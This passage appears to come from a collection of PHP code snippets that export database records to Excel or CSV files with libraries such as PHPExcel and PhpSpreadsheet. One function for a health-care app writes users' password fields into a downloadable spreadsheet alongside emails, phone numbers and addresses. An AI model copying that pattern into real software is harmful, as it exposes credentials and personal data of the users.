ciudad','pais.nombre as pais')->get();\n \n//dd($prospects);\n\n //$prospects = User::orderBy('nombre','desc')->get(['nombre',' usuario','perfil','estado','direccion','created_at','updated_at']);\n\n Excel::create('Lista de Usuarios ' .'-' .date('d-m-Y his'), function($excel) use($prospects)\n\n {\n $excel->sheet('Lista_Usuarios', function($sheet) use($prospects)\n { \n $data=[];\n\n array_push($data, array('Nombre','Usuario','Perfil','Estado','Dirección','Pais','Ciuadad','Ingresado','Actualizado'));\n\n foreach($prospects as $key => $value)\n {\n array_push($data, array($value->nombre,$value->usuario,$value->perfil,$value->estado,$value->direccion,$value->pais,$value->ciudad,Utils::date_en_to_es($value->created_at), Utils::datetime_en_to_es($value->updated_at)));\n\n }\n\n $sheet->fromArray($data, null, 'A1', false, false);\n\n\n // $sheet->protectCells('A1:G1', $password);\n $sheet->setPageMargin(array( 2.25, 2.30, 2.25, 2.30 ));\n $sheet->setAutoSize(true);\n //Autofiltro\n $sheet->setAutoFilter();\n //inmovilizar los titulos\n $sheet->freezeFirstRow();\n // Pinta color Titulos rango \n $sheet->row(1, function($row) \n {\n $row->setBackground('#228B22');\n });\n // Manipula celdas\n $sheet->cells('A1:I1', function($cells) \n {\n $cells->setAlignment('center');\n $cells->setFont(array(\n 'family' => 'Calibri',\n 'size' => '12',\n 'bold' => true\n ));\n\n\n });\n\n\n\n });\n })->download('xlsx');\n\n\n\n\n }", "public function download()\n {\n\n $cus_list = array();\n $cus_list[] = ['Customer Name'];\n $cus_list[] = ['Eastex'];\n $cus_list[] = ['Magnate'];\n\n // and append it to the payments array.\n return \\Excel::create('customer_example', function ($excel) use ($cus_list) {\n\n $excel->sheet('sheet name', function ($sheet) use ($cus_list) {\n\n $sheet->fromArray($cus_list, null, 'A1', false, false);\n $sheet->cells('A1', function ($cells) {\n\n $cells->setAlignment('center');\n $cells->setFontWeight(\"bold\");\n $cells->setFontColor('#000000');\n $cells->setFontSize('12');\n });\n });\n })->download('xlsx');\n }", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function upload_file($filename){\n\t\t$this->load->library('upload'); // Load librari upload\n\n\t\t$config['upload_path'] = './excel/';\n\t\t$config['allowed_types'] = 'xlsx';\n\t\t$config['max_size']\t= '2048';\n\t\t$config['overwrite'] = true;\n\t\t$config['file_name'] = $filename;\n\n\t\t$this->upload->initialize($config); // Load konfigurasi uploadnya\n\t\tif($this->upload->do_upload('file')){ // Lakukan upload dan Cek jika proses upload berhasil\n\t\t\t// Jika berhasil :\n\t\t\t$return = array('result' => 'success', 'file' => $this->upload->data(), 'error' => '');\n\t\t\treturn $return;\n\t\t}else{\n\t\t\t// Jika gagal :\n\t\t\t$return = array('result' => 'failed', 'file' => '', 'error' => $this->upload->display_errors());\n\t\t\treturn $return;\n\t\t}\n\t}", "public function getFilename() {}", "public function php_excel(){\n return new php_excel();\n }", "public function companiessExport(){\n \n return Excel::download( new CompaniesExport , 'companies.xls');\n\n }", "private function renderXls($filename)\n {\n// header('Content-Type: application/vnd.ms-excel');\n//\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'.xls\"');\n//\t\theader('Cache-Control: max-age=0');\n\n $this->objWriter = PHPExcel_IOFactory::createWriter($this->objPHPExcel, 'Excel5');\n\n //$this->objWriter->save('php://output');\n $this->objWriter->save($filename);\n\n unset($this->objWriter);\n unset($this->objWorksheet);\n unset($this->objReader);\n unset($this->objPHPExcel);\n\n //exit();\n }", "function call_to_export($export){\n\t$objPHPExcel = new PHPExcel();\n\n\t// Set document properties\n\t$objPHPExcel->getProperties()\n\t\t->setCreator(\"QPP REPORTS\")\n\t\t->setLastModifiedBy(\"QPP REPORTS\")\n\t\t->setTitle(\"Office 2007 XLSX Document\")\n\t\t->setSubject(\"Office 2007 XLSX Document\")\n\t\t->setDescription(\"QPP REPORTS\")\n\t\t->setKeywords(\"office 2007 openxml php\")\n\t\t->setCategory(\"Reports\");\n\n\t$styleArray = array(\n\t\t'font' => array(\n\t\t\t'bold' => true,\n\t\t\t'color' => array('rgb' => '1A6FCD'),\n\t\t\t'size' => 10,\n\t\t\t'name' => 'arial',\n\t\t\t'underline' => 'single',\n\t\t)\n\t);\n\t\n\tif(isset($export['users_logins'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_logins = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins->setTitle($export['users_logins']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins->mergeCells('A1:I1');\n\t\t$sheet_logins->SetCellValue('A1',$export['users_logins']['sheet1']['report_title']);\n\t\t$sheet_logins->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins->mergeCells('A2:I2');\n\t\t$sheet_logins->SetCellValue('A2',$export['users_logins']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('C')->setWidth(10);\n\t\t$sheet_logins->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_logins->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('G')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('J')->setWidth(15);\n\t\t$sheet_logins->getColumnDimension('K')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_logins->getStyle('K4:K999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_logins->getStyle('C3:K999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_logins_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins_total->setTitle($export['users_logins']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins_total->mergeCells('A1:I1');\n\t\t$sheet_logins_total->SetCellValue('A1',$export['users_logins']['sheet2']['report_title']);\n\t\t$sheet_logins_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins_total->mergeCells('A2:I2');\n\t\t$sheet_logins_total->SetCellValue('A2',$export['users_logins']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_logins_total->getColumnDimension('B')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_logins']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_logins']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\tif(isset($export['users_interactions'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_interactions = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions->setTitle($export['users_interactions']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions->mergeCells('A1:I1');\n\t\t$sheet_interactions->SetCellValue('A1',$export['users_interactions']['sheet1']['report_title']);\n\t\t$sheet_interactions->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions->mergeCells('A2:I2');\n\t\t$sheet_interactions->SetCellValue('A2',$export['users_interactions']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('C')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('G')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('J')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('K')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('L')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('M')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_interactions->getStyle('M4:M999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_interactions->getStyle('C3:M999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_interactions_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions_total->setTitle($export['users_interactions']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions_total->mergeCells('A1:I1');\n\t\t$sheet_interactions_total->SetCellValue('A1',$export['users_interactions']['sheet2']['report_title']);\n\t\t$sheet_interactions_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions_total->mergeCells('A2:I2');\n\t\t$sheet_interactions_total->SetCellValue('A2',$export['users_interactions']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_interactions_total->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions_total->getColumnDimension('C')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_interactions']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_interactions']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\t$filename = isset($export['filename']) ? $export['filename'] . \".xlsx\" : \"qpp_portal_report_\" . date('m-d-Y_h-i') . \".xlsx\";\n\t\n\t$objPHPExcel->setActiveSheetIndex(0);\n\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"');\n\theader('Cache-Control: max-age=0');\n\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\tob_end_clean();\n\t$objWriter->save('php://output');\n\n\texit;\n}", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "public function setFileName($file);", "protected function readFileName() { return $this->_filename; }", "private static function getFileName()\n {\n return sprintf('Export %s.csv', Carbon::now()->toDateTimeString());\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function export_data_anggota_keluarga()\n {\n $spreadsheet = new Spreadsheet();\n $currentData = $this->AnggotaKeluargaModel->findAll();\n // tulis header/nama kolom \n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'No. KK')\n ->setCellValue('B1', 'No. KTP')\n ->setCellValue('C1', 'Nama')\n ->setCellValue('D1', 'Tempat Lahir')\n ->setCellValue('E1', 'Tanggal Lahir')\n ->setCellValue('F1', 'Jenis Kelamin')\n ->setCellValue('G1', 'Status Perkawinan')\n ->setCellValue('H1', 'Pendidikan')\n ->setCellValue('I1', 'Pekerjaan')\n ->setCellValue('J1', 'Catatan');\n\n $column = 2;\n // tulis data mobil ke cell\n foreach ($currentData as $data) {\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A' . $column, $data['noKK'])\n ->setCellValue('B' . $column, $data['noKTP'])\n ->setCellValue('C' . $column, $data['nama'])\n ->setCellValue('D' . $column, $data['tempatLahir'])\n ->setCellValue('E' . $column, $data['tanggalLahir'])\n ->setCellValue('F' . $column, $data['jenisKelamin'])\n ->setCellValue('G' . $column, $data['statusPerkawinan'])\n ->setCellValue('H' . $column, $data['pendidikan'])\n ->setCellValue('I' . $column, $data['pekerjaan'])\n ->setCellValue('J' . $column, $data['catatan']);\n $column++;\n }\n // tulis dalam format .xlsx\n $writer = new Xlsx($spreadsheet);\n $fileName = 'Data Anggota Keluarga';\n\n // Redirect hasil generate xlsx ke web client\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=' . $fileName . '.xlsx');\n header('Cache-Control: max-age=0');\n\n $writer->save('php://output');\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "public function getFileName()\n {\n return $this->fileName;\n }", "function get_new_file($id_progetto) {\n return sys_get_temp_dir() . DIRECTORY_SEPARATOR . \"ReportQuestionariProgetto-\" . str_pad($id_progetto, 4, 